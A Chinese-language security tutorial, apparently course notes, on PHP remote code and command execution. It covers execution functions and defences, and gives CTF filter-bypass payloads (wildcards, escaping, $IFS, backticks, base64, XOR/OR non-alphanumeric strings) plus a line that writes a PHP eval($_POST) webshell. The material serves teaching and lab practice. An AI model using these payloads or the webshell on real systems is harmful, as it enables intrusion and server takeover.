058-RCE代码命令执行过滤绕过异或无字符无回显方案黑白盒挖掘
第58天:RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘
案例演示
RCE & 代码执行 & 命令执行
RCE-利用&绕过&异或&回显
白盒-CTF-RCE代码命令执行
黑盒-运行-RCE代码命令执行
知识点
1、RCE-原理-代码执行&命令执行
2、RCE-黑白盒-过滤绕过&不回显方案
RCE & 代码执行 & 命令执行
RCE代码执行简单案例
$code=phpinfo();
将phpinfo();当做当前语言代码去执行 这就代码执行漏洞
代码执行漏洞产生条件:可控变量code 触发函数eval
PHP常见代码执行函数
//eval()、assert()、preg_replace()、create_function()、 //array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
* 
* 
* 代码执行:
脚本——java,php,python
产生——Web 源码、中间件平台、其他环境
检测——白盒 代码审计
检测——黑盒 漏扫工具、公开漏洞、手工看参数及功能点
防御——敏感函数禁用、变量过滤或固定、WAF 产品
**RCE命令执行简单案例**
* $cmd = ver `ver查看系统版本信息`
* 将ver当作当前系统命令去执行 这就是命令执行函数
* 产生条件:可控变量 cmd 触发函数system
* PHP常见命令执行函数
* > //system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等
* 

* 命令执行:
系统——Linux、Windows
产生——web 源码、中间件平台、其他环境
检测——白盒 代码审计
检测——黑盒 漏扫工具,公开漏洞,手工看参数及功能点
防御——敏感函数禁用、变量过滤或固定、WAF 产品
**RCE代码执行 ->命令执行**
* 一般命令执行无法执行代码 但是可以调用执行 两者可以相互转换
* 这里就是用eval函数执行了system命令 相当于eval(system('ver')) 达成了代码执行和命令执行的相互转换


**RCE命令执行 ->代码执行**
* 用php去运行代码 创建一个1.php文件里面写上phpinfo();
* 在cmd里面 运行 php 1.php
* 
* ```
touch 名字缩写.php
echo '<?php eval($_POST['888']); ?>' > 名字缩写.php
2.Python:
eval exec subprocess os.system commands
3.Java:
Java 中没有类似 php 中 eval 函数这种直接可以将字符串转化为代码执行的函数,
但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL
等
RCE-利用&绕过&异或&回显
- 在本地目录下面创建一个文件 夹 flag

关键字过滤 - 过滤 flag
如何通不同的方式读取flag
通配符
1 | flag=fl* |
转义符号
1 | ca\t /fl\ag |
使用空变量∗ 和 *和∗和@,x , x,x,{x}绕过
1 | ca$*t fl$*ag |
拼接法
1 | a=fl;b=ag;cat$IFS$a$b //$IFS代表空格 写不写无所谓 |

反引号绕过
1 | cat `ls` //在php中这个`反引号代表执行命令的意思 在当前目录下只有flag 用cat执行ls命令读取flag结果 |
编码绕过
1 | echo 'flag' | base64 |
组合绝活
1 | touch "ag" |

过滤执行命令(如cat tac等)
1 | more:一页一页的显示档案内容 |
过滤执行空格
1 | %09(url传递)(cat%09flag.php) |
- 就是传入的代码 使用正则匹配检测是否含有字母或数字(
i表示不区分大小写)。如果包含,就立即die('hacker')。
如何绕过?
使用异或运算生成无符号的过滤
1、异或:rce-xor.php & rce-xor.py绕过
会在当前目录下面生成一个res.txt
再在pycharm中使用rce-xor.py 运行res.txt 输入你要执行的函数和命令就会在下方生成一段payload 放到浏览器执行 显示信息
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%05%09"^"%7e%60%7b");



2.或: rce-xor-or.php & rce-xor-or.py绕过
这个跟上面的步骤一样
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%17%08%0f%01%0d%09"|"%60%60%60%60%60%60");
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 0xMouise!






